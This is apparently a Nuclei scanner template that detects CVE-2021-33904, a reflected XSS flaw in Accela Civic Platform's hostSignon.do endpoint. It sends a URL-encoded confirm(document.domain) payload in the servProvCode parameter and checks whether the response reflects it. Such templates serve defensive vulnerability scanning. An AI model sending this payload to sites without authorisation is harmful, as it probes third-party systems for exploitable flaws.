id: CVE-2021-33904

info:
  name: Accela Civic Platform 21.1 - 'servProvCode' XSS
  author: geeknik
  description: In Accela Civic Platform through 21.1, the security/hostSignon.do parameter servProvCode is vulnerable to XSS.
  reference: https://www.exploit-db.com/exploits/49980
  severity: medium
  tags: cve,cve2021,accela,xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-33904
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"'
          - 'servProvCode'
        condition: and

      - type: status
        status:
          - 200